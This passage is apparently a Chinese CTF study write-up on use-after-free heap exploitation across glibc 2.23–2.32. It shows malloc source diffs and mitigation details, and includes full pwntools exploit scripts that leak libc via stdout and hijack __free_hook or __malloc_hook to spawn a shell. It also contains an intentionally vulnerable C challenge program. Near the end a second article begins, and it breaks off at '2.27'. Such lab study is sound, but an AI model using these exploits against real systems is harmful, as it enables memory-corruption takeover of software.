71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
//2.26 

if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);

#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}

#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}


//2.32
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}

可以看到几乎是一样的,只有一两处:

A.2.26判断了smallbin是否为空,为空则会调用malloc_consolidate进行初始化,但是从2.27开始就没有了。这个在针对malloc_consolidate进行攻击的时候可能会用到。

B.错误打印方式不同:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//2.26
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;

//errout define 2 time
errout:
if (!have_lock && locked)
__libc_lock_unlock (av->mutex);
malloc_printerr (check_action, errstr, chunk2mem (p), av);
return;
}

errout:
malloc_printerr (check_action, errstr, chunk2mem (oldp), av);
return NULL;
}

//2.27及以上
malloc_printerr ("malloc(): smallbin double linked list corrupted");

这个在针对malloc_printerr也可能会用到

而这种攻击主要是针对smallbin攻击的。

但也有一种针对fastbin攻击的:

Tcache Stashing Unlink Attack利用思路 - 安全客,安全资讯平台 (anquanke.com)

这个后面再讨论下。

2.UAF常见限制

(1)UAF + Leak + Size不做限制:

这个没啥好说的,直接泄露地址之后任意申请就完了。

(2)UAF+Leak+Size做限制:

结合之前的,小Chunk就修改size,可以放入unsortedbin就填满Tcache之后放入泄露地址后任意申请即可。

(3)UAF+无Leak+Size不做限制:

一般很多tcache的题都会对size做限制,但是其实对于tcache的UAF来说,没啥大用,都能绕过,像我下面对于0x4f8的chunk就可以利用修改size来伪造,和之前基本一致。

由于tcache没什么限制,我们可以利用unsortedbin踩下地址后,对应修改fd即可实现爆破申请_IO_2_1_stdout结构体,修改flag和部分字节写write_base,write_end来泄露地址,然后就可以任意申请了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
def pwn():
global p
heap_base = leak_heap()
libc_base = leak_libc() - libc.sym['printf']
elf_base = leak_elf() - elf.sym['main']
log.info("heap_base:0x%x"%heap_base)
log.info("libc_base:0x%x"%libc_base)
log.info("elf_base:0x%x"%elf_base)
add_malloc(0x1000-0x8-0x250,'PIG007NB')


guess_libc = 0xf000
guess_heap = 0xf000
guess_IO = guess_libc + libc.sym['_IO_2_1_stdout_']
lg("guess_IO",guess_IO)

add_malloc(0x4f8,"\x00"*0x4f8) #idx 0x1

add_malloc(0x38,"\x01"*0x38) #idx 0x2
add_malloc(0x38,"\x02"*0x38) #idx 0x3
add_malloc(0x38,"\x03"*0x38) #idx 0x4
add_malloc(0x38,'\x04'*0x38) #idx 0x5


#write libc addr
free(0x1)
add_malloc(0x78,p16((guess_IO)&0xffff)) #idx 0x6
#show(0x1)
#libc_base_attempt = u64Leakbase(libc.sym['_IO_2_1_stdout_'])
#lg("libc_base_attempt",libc_base_attempt)

free(0x2)
free(0x4)
edit(0x4,0x2,p16((guess_heap+0x1000+0x10)&0xffff))


add_malloc(0x38,'\x05'*0x38) #idx 0x7
add_malloc(0x38,'\x06'*0x38) #idx 0x8
add_malloc(0x38,p64(0xfbad1800) + p64(0)*3 + '\x00')#idx 0x9

libc_base = u64Leakbase(0x3b5890)
lg("libc_base",libc_base)


add_malloc(0x48,'/bin/sh\x00') #idx 0xa
add_malloc(0x48,'/bin/sh\x00') #idx 0xb
free(0xa)
free(0xb)
edit(0xb,0x8,p64(libc_base+libc.sym['__free_hook']))
add_malloc(0x48,'/bin/sh\x00') #idx 0xc
add_malloc(0x48,p64(libc_base + libc.sym['system']))#idx 0xd
free(0xc)
it()

i = 0
while True:
i = i + 1
try:
p = process("./note")
lg("Times:",i)
pwn()
except EOFError:
p.close()
continue
except Exception:
p.close()
continue
else:
p.interactive()
break

当然这种解法有点没效率,因为需要同时爆破Libc和heap的各半个字节,总共一个字节,总的来说数学期望为1/256。但是观察上面我们可以看到由于tcache机制,同处于0x100一个内存页下的Chunk前面的都一样,不用爆破,那么只需要修改最后一个字节即可完成tcache链表的修改,这样爆破的期望就下降到了半个字节,数学期望1/16,明显提升了很大效率

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#注释头

def pwn():
global p
heap_base = leak_heap()
libc_base = leak_libc() - libc.sym['printf']
elf_base = leak_elf() - elf.sym['main']
log.info("heap_base:0x%x"%heap_base)
log.info("libc_base:0x%x"%libc_base)
log.info("elf_base:0x%x"%elf_base)
add_malloc(0x1000-0x8-0x250,'PIG007NB')


guess_libc = 0xd000
guess_IO = guess_libc + libc.sym['_IO_2_1_stdout_']
lg("guess_IO",guess_IO)

tcacheMalloc(0x98) #idx 0x1~0x7
add_malloc(0x98,"\x00"*0x98) #idx 0x8

add_malloc(0x98,"\x00"*0x98) #idx 0x9


add_malloc(0x38,"\x01"*0x38) #idx 0xa
add_malloc(0x38,"\x02"*0x38) #idx 0xb
add_malloc(0x38,"\x03"*0x38) #idx 0xc
add_malloc(0x38,'\x04'*0x38) #idx 0xd


#write libc addr
tcacheDelete(0x1)
free(0x9)
add_malloc(0x38,p16((guess_IO)&0xffff)) #idx 0xe
#show(0x1)
#libc_base_attempt = u64Leakbase(libc.sym['_IO_2_1_stdout_'])
#lg("libc_base_attempt",libc_base_attempt)

#change 0x40 link_list
free(0xa)
free(0xc)
edit(0xc,0x1,'\x10')

add_malloc(0x38,'\x05'*0x38) #idx 0xf
add_malloc(0x38,'\x06'*0x38) #idx 0x10
add_malloc(0x38,p64(0xfbad1800) + p64(0)*3 + '\x00')#idx 0x11

libc_base = u64Leakbase(0x3b5890)
lg("libc_base",libc_base)


add_malloc(0x48,'/bin/sh\x00') #idx 0x12
add_malloc(0x48,'/bin/sh\x00') #idx 0x13
free(0x12)
free(0x13)
edit(0x13,0x8,p64(libc_base+libc.sym['__free_hook']))

add_malloc(0x48,'/bin/sh\x00') #idx 0x14
add_malloc(0x48,p64(libc_base + libc.sym['system']))#idx 0x15
free(0x14)
it()

i = 0
while True:
i = i + 1
try:
p = process("./note")
lg("Times:",i)
pwn()
except EOFError:
p.close()
continue
except Exception:
p.close()
continue
else:
p.interactive()
break

▲爆破题外话:之前没怎么发现,这里发现PIE+ASLR出来的Libc地址开头可能是0x7e,而且中间也有可能会出现\x00的情况,这样就很容易使得我们爆破的次数直线上涨,所以在调试好了之后,爆破会加入

1
2
3
4
5
6
7
#注释头

context.timeout = 0.5
#----------------------------------------------------------------------
except Exception:
p.close()
continue

来简单对抗这两种变化,防止爆破中断。

(4)UAF+无Leak+Size做限制:

一般很多tcache的题都会对size做限制,要么小,要么大。但是其实对于tcache的UAF来说,没啥大用,都能绕过,不像fastbin一样,需要在目的地址伪造size。所以这里基本上修改一下size都可以得到对应解法,这种题目更多应该是考察堆布局的能力。需要有一个对于所有chunk进行布局的能力,最好准备草稿纸写写画画(excel也行)…..

四、Glibc2.31

1.部分手段失效

(1)原始largebin attack失效

从2.30开始将从unsortebin放入largebin的代码中在size比较的其中一个分支新增检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//注释头

//unsortedbin chunk->size < largebin chunk->size
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else //unsortedbin chunk->size >= largebin chunk->size
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}

if ((unsigned long) size== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}

即当发生从unsortedbin中转移到largbin中时,如果unsortedbin中要转移的chunk的size大于largebin中原本就有的尾部chunk的size,就会触发新增的检查。否则,则不会触发新增的检查。

而新增检查的意思其实就是检查双向链表的完整性,这和之前unsortedbin失效加入的检查如出一辙。

1
2
3
4
//注释头

if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
1
2
3
4
//注释头

if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

但是由于当size小于的时候没有检查,所以largebin attack还是可以用的,只要unsortedbin中要放入largebin中的chunk的size小于largebin中chunk的size即可,但是这里的largebin attack已经被降级,相比之前的两个地址任意写,限制只能写一个地址了。

(2)Tcache结构扩大

之前版本的tcache中count一直是一个字节,这回从2.30开始就变成了两个字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//注释头

//2.29
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

//2.30
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

所以tcache的结构体也从0x250扩大为0x290

(3)删除了一些assert

在2.30版本及之后,删除了一些有关tcache的assert

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
//注释头

//2.29
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}


//2.30
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}


//2.29
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

//2.30
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

以前就想着是不是能像控fastbinY溢出一样来控tcache溢出呢,但在2.29及以前肯定是不行的,因为有assert存在。就算修改了mp_.tcache_bins,成功进入tcache_put也会因为assert(tc_idx<TCACHE_MAX_BINS)的断言使得程序退出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//注释头

if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);
}
}

if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->counts[tc_idx] > 0)
{
return tcache_get (tc_idx);
}

但是新版本删去了这个操作,那么如果我们能够修改mp_.tcache_bins,就将能够调用tcache_put函数,将tcache结构体往后溢出,就像修改global_max_fast一样,实在是有点逗,不知道为什么新版本要删掉,这个就引入了一种新的方法:glibc 2.27-2.32版本下Tcache Struct的溢出利用 - 安全客,安全资讯平台 (anquanke.com)。这个我个人还是觉得这位师傅讲的还是有点出入,因为是2.30才删去的,2.29及以前是不存在这种方法的,包括用2.29调试也是的。

(4)对count新增了一些限制
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//2.29
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}

//2.30
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->counts[tc_idx] > 0)
{
return tcache_get (tc_idx);
}

从2.30开始在_libc_malloc中准备从tcache中申请时,会判断counts[tc_idx]是否大于0,不大于0则不会从tcache中申请。所以有时候我们使用直接修改fd的办法需要考虑到数量是否会被清0。但是在_int_free中却没有新增类似的检查。

2.UAF常见限制

(1)UAF+Leak+Size不做限制:

这里也不需要多讲,放入unsortedbin后直接泄露地址之后任意申请就完了。

(2)UAF+Leak+Size做限制:

结合之前的,小Chunk就修改size,可以放入unsortedbin的就填满Tcache之后放入泄露地址后任意申请即可。

(3)UAF+无Leak+Size不做限制:

其实和2.29差不多,只是失效了一些手段,比如传统的largebin attack失效。而之前在2.29中讲到的相关方法其实也一样可以直接用上。爆破_IO_2_1_stdout泄露地址,之后任意申请修改__free_hook即可。

(4)UAF+无Leak+Size做限制:

同样还是需要通过堆布局来修改size,制造unsortedbin chunk。

五、Glibc2.32

1.新增机制

(1)Tcache和Fastbin新增指针异或检查的safe-linking机制

①引入一个宏定义

1
2
3
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

②实际应用

Tcache中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

Fastbin中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}
else
do
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
old2 = old;
p->fd = PROTECT_PTR (&p->fd, old);
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2);

再加上其他

1
2
3
4
5
6
7
8
9
10
11
12
13
p->fd = PROTECT_PTR (&p->fd, old);
//----------------------------------------
p = REVEAL_PTR (p->fd);
//----------------------------------------
tcache_tmp->entries[i] = REVEAL_PTR (e->next);
//----------------------------------------
*fb = REVEAL_PTR (victim->fd);
//----------------------------------------
*fb = REVEAL_PTR (tc_victim->fd);
//----------------------------------------
tmp = REVEAL_PTR (tmp->next))
//----------------------------------------
nextp = REVEAL_PTR (p->fd);
1
2
3
4
5
6
7
8
9
10
11
12
#define REMOVE_FB(fb, victim, pp)            \
do \
{ \
victim = pp; \
if (victim == NULL) \
break; \
pp = REVEAL_PTR (victim->fd); \
if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \
malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \
} \
while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \
!= victim); \

等多多少少用到tcache和fastbin的地方。而unsortebin、largebin、smallbin都不会进行相关指针异或。

(2)新增机制Safe-linking的漏洞

①规律性

官方说的是

1
2
3
4
5
6
7
8
9
/* Safe-Linking:
Use randomness from ASLR (mmap_base) to protect single-linked lists
of Fast-Bins and TCache. That is, mask the "next" pointers of the
lists' chunks, and also perform allocation alignment checks on them.
This mechanism reduces the risk of pointer hijacking, as was done with
Safe-Unlinking in the double-linked lists of Small-Bins.
It assumes a minimum page size of 4096 bytes (12 bits). Systems with
larger pages provide less entropy, although the pointer mangling
still works. */

基于ASLR之后的堆地址,即Key值为第一个进入该大小TcacheBin链的chunk的地址右移12bit得到,对于Fastbin也是一样的。

Snipaste_2021-08-25_19-54-16

②特殊性

虽说FD被加密,但是由于是异或的关系,在UAF的特殊条件下其实是可以控制FD指向其他堆块的。

比如说我们进行一定的堆布局,尝试将堆块集中在0x100内,然后可以爆破1个字节来进行计算:

Snipaste_2021-08-25_17-50-30

这里就chunk4->chunk3->chunk2->chunk1。

这里就假设我们爆破1字节后已经知道了heapbase/0x1000左移12bit的最后一个字节为0x59。现在进行计算一下,如果我们想把chunk4的FD指向chunk1在没有Leak的情况下应该怎么修改?

计算0x10^0x59=0x49,所以如果我们利用UAF部分写chunk4的FD的第一个字节为0x49,那么实际上其实指向的就是chunk1。这个在没有泄露地址而Size又做限制导致只能用Fastbin和Tcache时,可以采用这种方法爆破。所以实际上的期望应该是1/256,这个尝试一下应该就可以实现的。

(3)新增Tcache地址对齐检查

①tcache_get中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//2.32
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

//2.31
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

可以看到在tcache_get中新增了一个检查

1
2
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");

这个导致了我们的tcache不能任意申请了,必须是0x10对齐的,这个可能会导致不少的手段变化。

②tcache结构释放函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
tcache_thread_shutdown (void)
{
int i;
tcache_perthread_struct *tcache_tmp = tcache;

if (!tcache)
return;

/* Disable the tcache and prevent it from being reinitialized. */
tcache = NULL;
tcache_shutting_down = true;

/* Free all of the entries and the tcache itself back to the arena
heap for coalescing. */
for (i = 0; i < TCACHE_MAX_BINS; ++i)
{
while (tcache_tmp->entries[i])
{
tcache_entry *e = tcache_tmp->entries[i];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("tcache_thread_shutdown(): "
"unaligned tcache chunk detected");
tcache_tmp->entries[i] = REVEAL_PTR (e->next);
__libc_free (e);
}
}

__libc_free (tcache_tmp);
}
1
2
3
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("tcache_thread_shutdown(): "
"unaligned tcache chunk detected");

即当程序退出,释放tcache结构体时会加入对tcache中所有chunk进行地址对齐检查,但是这个对exit()的攻击没什么影响。

③Tcache中double free检查中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next))
{
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
1
2
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");

当tcache进行Free的double free检查时,如果tcache中第一个bin的chunk地址不对齐,也会错误。其实最开始不太理解,想这能有啥用,最开始Free的时候不就已经进行地址对齐检查了吗。后面想到由于stashing机制,可能会将地址不合法的Chunk放入到tcache中,所以再进行对应Bin大小的chunk释放时,进行检查提高安全性吧。这个我们在利用的时候也需要注意下,别到时候得到了用Stashing机制放入一个不合法chunk之后再free导致程序出错了。

想感叹一下,在2.31及以下版本,只有在_int_free函数中才有一个地址对齐检查,这2.32突然加了好几个,真是挺猛的。

2.UAF常见限制

(1)UAF+Leak+Size不做限制:

这个如上图中就可以直接leak出chunk1的内容得到key,然后释放unsortedbin chunk泄露libc地址后,利用key异或对应地址即可任意申请。

(2)UAF+Leak+Size做限制:

一样的,Leak出key之后,修改size得到unsortedbin chunk之后泄露libc地址,异或改掉FD任意申请chunk。

(3)UAF+无Leak+Size做限制:

这条件下的想半天实在没想出来,爆破两个字节倒是可以申请到Tcache结构体,但是两个字节的期望却达到了0xffff=65535,实际的线上CTF中可能爆出来黄花菜都凉了。

▲爆破两字节申请Tcache Struct:

比如我们先爆破一个字节,使得heapbase的地址为0xabcde5500000

然后我们按照上述方法,用一定堆布局,计算一下地址

异或之后的地址应该为:

1
2
chunk1:                0xabcde5500400 ^ 0xabcde5500 = 0x--(0x0400^0x5500)
TcacheStruct: 0xabcde5500000 ^ 0xabcde5500 = 0x--(0x0000^0x5500)

那么就可以直接该指向chunk1地址的最后两个字节为5500即可指向Tcache结构体,然后释放进入unsortedbin踩下libc地址再爆破申请stdout泄露地址,这样又会出来半个字节爆破空间。即0xfffff=1048575,直接GG。

▲size做限制其实没差别,可以爆破一个字节来修改的。

总结

当然,UAF其实是特别好利用的一种,高版本下也对应有很多的骚操作,比如

house of pig :house of pig一个新的堆利用详解 - 安全客,安全资讯平台 (anquanke.com)

house of banana :house of banana - 安全客,安全资讯平台 (anquanke.com)

等等现在大多的题目都是off by null + 堆布局,尤其是堆布局这一块,实在是无比考验对堆的理解,因为万一其中哪个地方想错,直接就得推倒重来。

不同libc版本下UAF的利用手法总结

参考学习(抄)安全客@lemon文章

pwn方向涉及的libc版本众多,不同版本之间的堆块在组织方式上都有差别,本文来通过同一个UAF的demo程序,学习不同版本libc下的利用手法,包括libc2.23,libc2.27,libc2.31和libc2.32下的利用手法。

程序源码如下,给出了较为宽松的堆块编辑方式和组织方式,方便讨论利用手法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

size_t sizearray[20];
char *heaparray[20];

void myinit()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}

void menu()
{
puts("1.add");
puts("2.edit");
puts("3.delete");
puts("4.show");
puts("5.exit");
puts("choice> ");
}

void add()
{
int i;
int size;
char temp[8];
puts("index?");
read(0, temp, 8);
i = atoi(temp);
if (i > 20)
exit(0);
puts("size?");
read(0, temp, 8);
size = atoi(temp);
if (size > 0 && size < 0x500)
sizearray[i] = size;
else
exit(0);
char *p = malloc(size);
heaparray[i] = p;
puts("content:");
read(0, p, size);
}

void edit()
{
int i;
char temp[8];
puts("index?");
read(0, temp, 8);
i = atoi(temp);
if (heaparray[i])
{
puts("content:");
read(0, heaparray[i], sizearray[i]);
}
}

void show()
{
int i;
char temp[8];
puts("index?");
read(0, temp, 8);
i = atoi(temp);
if (heaparray[i])
puts(heaparray[i]);
}

void delete ()
{
int i;
char temp[8];
puts("index?");
read(0, temp, 8);
i = atoi(temp);
if (heaparray[i])
free(heaparray[i]);
}

int main()
{
int choice;
myinit();
menu();
scanf("%d", &choice);
while (1)
{
if (choice == 1)
add();
if (choice == 2)
edit();
if (choice == 3)
delete ();
if (choice == 4)
show();
if (choice == 5)
exit(0);
menu();
scanf("%d", &choice);
}
return 0;
}

2.23

2.23的UAF是比较经典的利用手法了,此时libc还没有引入tcache结构,仅仅通过fastbin来管理较小的chunk,在libc2.23下可以利用fastbin attack来攻击__malloc_hook来getshell。

具体步骤,是先通过申请一个属于unsorted bin大小的堆块,利用UAF+binary的show功能来泄露libc的基地址,再通过uaf申请满足fastbin大小的chunk,并修改其fd指针,将__malloc_hook周围满足检查的地址链到fastbin中,再次申请相同大小的chunk即可将其取出,修改为one_gadget即可getshell。

修改malloc_hook的原因是在libc_malloc中会先于分配过程检查malloc_hook是否为空,若不为空则调用。malloc_hook在首次malloc的时候会用作初始化相关的工作来使用,往后其值为0,因为在从fastbin中取chunk的过程中会检查size是否合法,所以要在malloc_hook周围找出一块合法的地址,经验来说,在malloc_hook – 0x23的位置处有一个合法的size位,可以用来伪造chunk。

image-20220808085519811

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

local = 1

binary = './UAF_glibc2.23'
libc_path = './libc-2.23.so'
port = 0

if local == 1:
p = process(binary)

def dbg():
context.log_level = 'debug'


def add(index, size, content):
p.sendlineafter('>', '1')
p.sendafter('index', str(index))
p.sendafter('size', str(size))
p.sendafter('content:', content)


def edit(index, content):
p.sendlineafter('>', '2')
p.sendafter('index', str(index))
p.sendafter('content:', content)


def show(index):
p.sendlineafter('>', '4')
p.sendafter('index', str(index))


def free(index):
p.sendlineafter('>', '3')
p.sendafter('index', str(index))

message = "======================== LEAK LIBC ADDRESS ======================="
success(message)
add(2, 0x100, '2')
add(3, 0x10, 'protect')
free(2)
add(2, 0x30, 'aaaaaaaa')
show(2)
libc = ELF(libc_path)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 344 - 0x10 - libc.sym['__malloc_hook']
__malloc_hook = libc_base + libc.sym['__malloc_hook']
success("libc:{}".format(hex(libc_base)))

message = "======================== FASTBIN ATTACK ======================="
success(message)
add(0, 0x60, 'aaaa')
free(0)
edit(0, p64(__malloc_hook - 0x23))
add(1,0x60,'a')
og = libc_base + 0xd5bf7
add(2,0x60,0x13 * b'\x00' + p64(og))


message = "======================== TRIGGER MALLOC HOOK ======================="
success(message)
p.sendlineafter('>', '1')
p.sendafter('index', '1')
p.sendafter('size', '1')

p.interactive()

2.27

